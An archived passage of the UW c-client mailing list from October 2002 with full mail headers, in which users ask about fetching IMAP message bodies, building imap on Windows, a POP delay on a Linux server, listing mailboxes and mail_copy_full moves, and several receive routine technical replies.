05:30:00 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9HCU0Mb006892 for ; Thu, 17 Oct 2002 05:30:00 -0700 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Thu Oct 17 05:29:59 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9HCTllX015254 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 17 Oct 2002 05:29:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9HCShqE020940; Thu, 17 Oct 2002 05:28:44 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9H8GQFD108372 for ; Thu, 17 Oct 2002 01:16:26 -0700 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Thu Oct 17 01:16:25 2002 -0700 Received: from ureach.com (mail.ureach.com [63.150.151.36]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9H8GOIr016958 for ; Thu, 17 Oct 2002 01:16:25 -0700 Received: from www23.ureach.com (www23.ureach.com [172.16.2.51]) by ureach.com (8.9.1/8.8.5) with ESMTP id EAA07420 for ; Thu, 17 Oct 2002 04:16:24 -0400 Received: (from nobody@localhost) by www23.ureach.com (8.9.3/8.9.1) id EAA11032; Thu, 17 Oct 2002 04:16:24 -0400 Received: from [210.8.232.4] by www23.ureach.com via HTTP; Thu, 17 Oct 2002 08:16:24 GMT Message-Id: <200210170816.EAA11032@www23.ureach.com> Date: Thu, 17 Oct 2002 04:16:24 -0400 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Fouad Kassab To: c-client@u.washington.edu Subject: Message body Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit X-vsuite-type: e X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I am unsure as to how to retrieve the text of the message. I had supposed that fetch body would do that, but it only returns the format of the message... What would I have to do to be able to read the whole email? Thank you in advance. Fouad. ________________________________________________ Get your own "800" number Voicemail, fax, email, and a lot more http://www.ureach.com/reg/tag -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 17 07:03:27 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Oct 2002 07:03:27 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9HE3QMb008854 for ; Thu, 17 Oct 2002 07:03:26 -0700 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Oct 17 07:03:26 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9HE3NdC026913 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 17 Oct 2002 07:03:23 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9HE2dqE024420; Thu, 17 Oct 2002 07:02:39 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9HDwbFD121246 for ; Thu, 17 Oct 2002 06:58:37 -0700 Received: FROM mxu1.u.washington.edu BY mailscan6.cac.washington.edu ; Thu Oct 17 06:58:34 2002 -0700 Received: from hotmail.com (f113.law15.hotmail.com [64.4.23.113]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9HDwYT4015812 for ; Thu, 17 Oct 2002 06:58:34 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 17 Oct 2002 06:58:34 -0700 Received: from 217.233.69.210 by lw15fd.law15.hotmail.msn.com with HTTP; Thu, 17 Oct 2002 13:58:33 GMT Message-Id: Date: Fri, 18 Oct 2002 02:58:33 +1300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "matthew hunter" To: c-client@u.washington.edu Subject: imap install Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [217.233.69.210] X-OriginalArrivalTime: 17 Oct 2002 13:58:34.0101 (UTC) FILETIME=[4850CA50:01C275E5] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN im the sort who wants to install imap on my win2000, apache, mysql, php4 setup but after following all the instructions in the imap files i downloaded found that nothing happens when i cd (in dos) to where my makefile.w2k lives (in apache/htdocs) am i right to think that following the instructions in the build file (for my win2000 system) means using dos to cd (change directory) to the imap makefile.w2k which in my case is c:apache/htdocs/imap/src/osdep/nt:/> and then typing nmake -f makefile.w2k ? if you dont know & your majordomo machine doesnt accept the lists command anymore effectually blocking all new entrants could you/or someone perhaps point me toward someone who deos know & might help me? gratefully matthew hunter _________________________________________________________________ Broadband? Dial-up? Get reliable MSN Internet Access. http://resourcecenter.msn.com/access/plans/default.asp -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 17 08:14:32 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Oct 2002 08:14:32 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9HFEVMb011092 for ; Thu, 17 Oct 2002 08:14:31 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Oct 17 08:14:31 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9HFETdC028966 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 17 Oct 2002 08:14:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9HFDqpB029672; Thu, 17 Oct 2002 08:13:52 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9HFBNFD176010 for ; Thu, 17 Oct 2002 08:11:23 -0700 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Thu Oct 17 08:11:23 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9HFBMIr013886 for ; Thu, 17 Oct 2002 08:11:22 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id IAA27875; Thu, 17 Oct 2002 08:11:18 -0700 (PDT) Message-Id: Date: Thu, 17 Oct 2002 08:08:59 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: matthew hunter Cc: c-client@u.washington.edu Subject: re: imap install In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You are incorrect. The correct directory is C:apache\htdocs\imap imap\src\osdep\nt is a directory containing the NT-specific files, but it does not contain all the files that are needed. You need to invoke the top-level makefile.w2k to build the composite directories. On Fri, 18 Oct 2002 02:58:33 +1300, matthew hunter wrote: > am i right to think that following the instructions in the build file (for > my win2000 system) > > means using dos to cd (change directory) to the imap makefile.w2k > > which in my case is > > c:apache/htdocs/imap/src/osdep/nt:/> > > and then typing > > nmake -f makefile.w2k From pinedev@shivax2.cac.washington.edu Thu Oct 17 15:49:48 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Oct 2002 15:49:48 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9HMnmMb001515 for ; Thu, 17 Oct 2002 15:49:48 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Thu Oct 17 15:49:47 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9HMninw004738 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 17 Oct 2002 15:49:45 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9HMmx6i075872; Thu, 17 Oct 2002 15:48:59 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9HMgvFD028240 for ; Thu, 17 Oct 2002 15:42:57 -0700 Received: FROM mxu0.u.washington.edu BY mailscan6.cac.washington.edu ; Thu Oct 17 15:42:56 2002 -0700 Received: from ureach.com (mail.ureach.com [63.150.151.36]) by mxu0.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9HMgrkT023756 for ; Thu, 17 Oct 2002 15:42:54 -0700 Received: from www20.ureach.com (www20.ureach.com [172.16.2.48]) by ureach.com (8.9.1/8.8.5) with ESMTP id SAA32379 for ; Thu, 17 Oct 2002 18:42:53 -0400 Received: (from nobody@localhost) by www20.ureach.com (8.9.3/8.9.1) id SAA24267; Thu, 17 Oct 2002 18:42:53 -0400 Received: from [202.7.209.125] by www20.ureach.com via HTTP; Thu, 17 Oct 2002 22:42:53 GMT Message-Id: <200210172242.SAA24267@www20.ureach.com> Date: Thu, 17 Oct 2002 18:42:53 -0400 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Fouad Kassab To: c-client@u.washington.edu Subject: Message body Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="_uReach_com_1804289383103489457324264xxx_" X-vsuite-type: e X-Perlmx-Spam: Gauge=XXIIIIIIIII, Probability=29%, Report="MSG_ID_ADDED_BY_MTA_2" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --_uReach_com_1804289383103489457324264xxx_ Content-Type: Text/Plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Hello, I am unsure as to how to retrieve the text of the message. I had supposed that fetch body would do that, but it only returns the format of the message... What would I have to do to be able to read the whole email? Thank you in advance. Fouad. ________________________________________________ Get your own "800" number Voicemail, fax, email, and a lot more http://www.ureach.com/reg/tag --_uReach_com_1804289383103489457324264xxx_-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Oct 18 10:45:27 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 18 Oct 2002 10:45:27 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9IHjRMb004107 for ; Fri, 18 Oct 2002 10:45:27 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Fri Oct 18 10:45:26 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9IHjPnY009318 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 18 Oct 2002 10:45:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9IHimxQ031552; Fri, 18 Oct 2002 10:44:48 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9IHfLFD068328 for ; Fri, 18 Oct 2002 10:41:21 -0700 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Fri Oct 18 10:41:20 2002 -0700 Received: from matrix.757va.net (64.83.48.210.serial210-slash30-ric.cavtel.net [64.83.48.210]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9IHfJIr018774 for ; Fri, 18 Oct 2002 10:41:20 -0700 Received: from eastcoast-pc.com (64.83.48.210.serial210-slash30-ric.cavtel.net [64.83.48.210]) by matrix.757va.net (Postfix) with ESMTP id 3A7C88C028 for ; Fri, 18 Oct 2002 13:46:25 -0400 (EDT) Message-Id: <3DB047C0.9030706@eastcoast-pc.com> Date: Fri, 18 Oct 2002 13:41:20 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Johnathon - East Coast Computers To: c-client@u.washington.edu Subject: POP Mail Delay MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I hope I have subscribe to the correct list, if not I apologize for this email. I am setting up a new email server using Linux Mandrake 9.0 and IMAP-2001A-9MDK which I believe is UW-IMAP. I have been having a 15-20 second delay from the time I pop may mail to the time the server sends the mail. Here is my senario: I have a machine running MD 9.0, Postfix, and IMAP-2001A which takes care of my IMAP and POP needs. My network consists of 1 public class A IP address: 64.83.48.210, which is fed into my router. My private IP range is 192.168.... I have TCP/IP ports 80, 25, 110 and 143 port forwarded to my new server (192.168.1.55) On a different machine on my internal network I have a mail client set up for pop. I used 192.168.1.55 for both the pop server and smtp server settings. No delay sending or receiving. When I change the pop and smtp settings to: mail.eastcoast-pc.com, no problem sending but receiving take approx 15-30 seconds delay and then it give my mail client mail or nothing respectively... Seems like something is timing out. Someone told me that DNS maybe causing the delay. If so, what do I need to do to get this fixed? Thanks for the help everyone. Thanks, -- Johnathon B. Allread A+, MCP, MCSA, Linux User East Coast Computers 1902 Colley Ave Norfolk, VA 23517-1613 http://www.eastcoast-pc.com Shop - (757) 313-7582 Fax - (757) 313-7587 Cell - (757) 235-5629 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Oct 18 12:47:28 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 18 Oct 2002 12:47:27 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9IJlRMb009124 for ; Fri, 18 Oct 2002 12:47:27 -0700 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Oct 18 12:47:27 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9IJlNnw003068 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 18 Oct 2002 12:47:23 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9IJkj6i004330; Fri, 18 Oct 2002 12:46:46 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9IJhWFD166992 for ; Fri, 18 Oct 2002 12:43:32 -0700 Received: FROM mxu0.u.washington.edu BY mailscan2.cac.washington.edu ; Fri Oct 18 12:43:32 2002 -0700 Received: from secure4.developerschoice.net ([209.69.207.2]) by mxu0.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9IJhUkT031713 for ; Fri, 18 Oct 2002 12:43:30 -0700 Received: from taylor.developerschoice.net ([209.69.206.2] helo=dev ident=hidden-user) by secure4.developerschoice.net with asmtp (Exim 3.34 #4) id 182d1s-00081o-00; Fri, 18 Oct 2002 15:43:28 -0400 Message-Id: <7DFBE66616403040B7740D9380A671C70629C1@EXCHANGE1.developerschoice.com> Date: Fri, 18 Oct 2002 15:43:27 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jeff Breitner" To: "'Johnathon - East Coast Computers'" , Subject: RE: POP Mail Delay In-Reply-To: <3DB047C0.9030706@eastcoast-pc.com> MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Perlmx-Spam: Gauge=, Probability=0%, Report="IN_REP_TO" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN First thing I would do is "tail /var/log/maillog | grep sendmail" (or grep the name of your mta) and see how long it takes for the mail to be dumped into the user's mailbox. If the message seems to be processed immediately, then cat the user's inbox to confirm it's really there. If it is really there, then run your POP client and see if the message is delivered without the delay. If and only if the message is there should the delay point to the POP software. Suspects in this should be locking on the inbox, or perhaps locking on the inbox from other IMAP or POP processes. > -----Original Message----- > From: C-CLIENT-owner@u.washington.edu > [mailto:C-CLIENT-owner@u.washington.edu] On Behalf Of > Johnathon - East Coast Computers > Sent: Friday, October 18, 2002 1:41 PM > To: c-client@u.washington.edu > Subject: POP Mail Delay > > > I hope I have subscribe to the correct list, if not I > apologize for this > email. > > I am setting up a new email server using Linux Mandrake 9.0 and > IMAP-2001A-9MDK which I believe is UW-IMAP. I have been > having a 15-20 > second delay from the time I pop may mail to the time the > server sends > the mail. Here is my senario: > > I have a machine running MD 9.0, Postfix, and IMAP-2001A which > takes care of my IMAP and POP needs. My network consists of 1 public > class A IP address: 64.83.48.210, which is fed into my router. My > private IP range is 192.168.... I have TCP/IP ports 80, 25, > 110 and 143 > port forwarded to my new server (192.168.1.55) On a > different machine > on my internal network I have a mail client set up for pop. I used > 192.168.1.55 for both the pop server and smtp server > settings. No delay > sending or receiving. When I change the pop and smtp settings > to: mail.eastcoast-pc.com, no problem sending but receiving > take approx > 15-30 seconds delay and then it give my mail client mail or nothing > respectively... Seems like something is timing out. > Someone told me that DNS maybe causing the delay. If > so, what do I > need to do to get this fixed? Thanks for the help everyone. > > Thanks, > > -- > > > Johnathon B. Allread > A+, MCP, MCSA, Linux User > East Coast Computers > 1902 Colley Ave > Norfolk, VA 23517-1613 > http://www.eastcoast-pc.com > Shop - (757) 313-7582 > Fax - (757) 313-7587 > Cell - (757) 235-5629 > > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > From pinedev@shivax2.cac.washington.edu Tue Oct 22 23:22:39 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 22 Oct 2002 23:22:39 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9N6MdMb022538 for ; Tue, 22 Oct 2002 23:22:39 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Oct 22 23:22:38 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9N6MZnw010387 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 22 Oct 2002 23:22:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9N6KJqE034138; Tue, 22 Oct 2002 23:20:19 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9N6FYFD012308 for ; Tue, 22 Oct 2002 23:15:34 -0700 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Oct 22 23:15:33 2002 -0700 Received: from ureach.com (mail.ureach.com [63.150.151.36]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9N6FXnf005835 for ; Tue, 22 Oct 2002 23:15:33 -0700 Received: from www22.ureach.com (www22.ureach.com [172.16.2.50]) by ureach.com (8.9.1/8.8.5) with ESMTP id CAA31376 for ; Wed, 23 Oct 2002 02:15:32 -0400 Received: (from nobody@localhost) by www22.ureach.com (8.9.3/8.9.1) id CAA07474; Wed, 23 Oct 2002 02:15:32 -0400 Received: from [210.8.232.4] by www22.ureach.com via HTTP; Wed, 23 Oct 2002 06:15:32 GMT Message-Id: <200210230615.CAA07474@www22.ureach.com> Date: Wed, 23 Oct 2002 02:15:32 -0400 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Fouad Kassab To: c-client@u.washington.edu Subject: Folder listing Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit X-vsuite-type: e X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN hello there, I would be greatful for any help in this matter. how do we get the folder listing once we log in to an IMAP server? i had supposed it would be select "*" "*" but that gives me folders and files as well. im not sure as to how to list just folders. thank you for your help Fouad ________________________________________________ Get your own "800" number Voicemail, fax, email, and a lot more http://www.ureach.com/reg/tag -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Oct 23 07:05:54 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Oct 2002 07:05:54 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9NE5rMb005318 for ; Wed, 23 Oct 2002 07:05:53 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Wed Oct 23 07:05:52 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9NE5onw020597 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 23 Oct 2002 07:05:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9NE4LqE028230; Wed, 23 Oct 2002 07:04:21 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9NE1QFD088664 for ; Wed, 23 Oct 2002 07:01:27 -0700 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Oct 23 07:01:26 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9NE1PIr023353 for ; Wed, 23 Oct 2002 07:01:26 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id HAA07736; Wed, 23 Oct 2002 07:01:21 -0700 (PDT) Message-Id: Date: Wed, 23 Oct 2002 06:58:34 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: fouad@ureach.com Cc: c-client@u.washington.edu Subject: re: Folder listing In-Reply-To: <200210230615.CAA07474@www22.ureach.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 23 Oct 2002 02:15:32 -0400, Fouad Kassab wrote: > how do we get the folder listing once we log in to an IMAP > server? i had supposed it would be select "*" "*" but that > gives me folders and files as well. im not sure as to how to > list just folders. If you get non-mailbox "files", that means that it isn't possible to tell the difference between something that is a mailbox and something that is not. In UW imapd, it is possible to select non-mailbox files, so the difference is essentially meaningless. If you don't want to see non-mailbox "files", the way to do this is to organize your data so that mailboxes are in a distinct place, and then only look in that distinct place. I eschew the imprecise term "folder" since that implies "directory". From pinedev@shivax2.cac.washington.edu Fri Oct 25 09:02:40 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 25 Oct 2002 09:02:40 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9PG2eMb005104 for ; Fri, 25 Oct 2002 09:02:40 -0700 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Fri Oct 25 09:02:31 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9PG2UnY018061 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 25 Oct 2002 09:02:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9PG1UxQ017154; Fri, 25 Oct 2002 09:01:30 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9PFv4FD138874 for ; Fri, 25 Oct 2002 08:57:05 -0700 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Fri Oct 25 08:57:04 2002 -0700 Received: from www.fr.netcentrex.net ([62.161.167.194]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9PFv2Ir008400 for ; Fri, 25 Oct 2002 08:57:03 -0700 Received: from droopy (droopy.unicite.fr.netcentrex.net [213.56.166.185]) by www.fr.netcentrex.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id VJVK07HF; Fri, 25 Oct 2002 18:00:38 +0200 Message-Id: <001f01c27c3f$5789fcc0$b9a638d5@unicite.fr.netcentrex.net> Date: Fri, 25 Oct 2002 17:58:21 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Guillaume Vaillant" To: Subject: Problem with the mail_copy_full function MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I try to move an email specified by the mailUID from the "INBOX" folder to the "MYTEMP" destination folder. To perform this moving i use the following comand : mail_copy_full(Stream, mailUID, "MYTEMP", CP_UID | CP_MOVE) The result of this function isn't a move but a copy. IN fact at the end i have a copy af the mail (mailUID) in the "MYTEMP" folder but the message is not deleted in the "INBOX" folder. Can someone help me ? Thank's Guyom -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Oct 25 10:08:08 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 25 Oct 2002 10:08:08 -0700 